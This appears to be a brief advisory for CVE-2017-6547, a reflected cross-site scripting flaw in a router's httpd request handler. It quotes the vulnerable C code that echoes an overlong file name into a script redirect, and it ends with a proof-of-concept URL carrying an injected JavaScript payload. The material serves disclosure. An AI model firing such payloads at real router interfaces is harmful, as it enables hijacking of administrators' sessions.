22 lines
No EOL
742 B
Text
22 lines
No EOL
742 B
Text
Cross-Site Scripting (XSS)
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Component: httpd
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CVE: CVE-2017-6547
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Vulnerability:
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httpd checks in the function handle_request if the requested file name is longer than 50 chars. It then responds with a redirection which allows an attacker to inject arbitrary JavaScript code into the router’s web interface context.
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...
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if(strlen(file) > 50 &&!(strstr(file, "findasus")) && !(strstr(file, "acme-challenge")))
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{
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char inviteCode[256];
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snprintf(inviteCode, sizeof(inviteCode), "<script>location.href='/cloud_sync.asp?flag=%s';</script>", file);
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send_page( 200, "OK", (char*) 0, inviteCode, 0);
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...
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PoC:
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http://192.168.1.1/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA';alert('XSS');'A |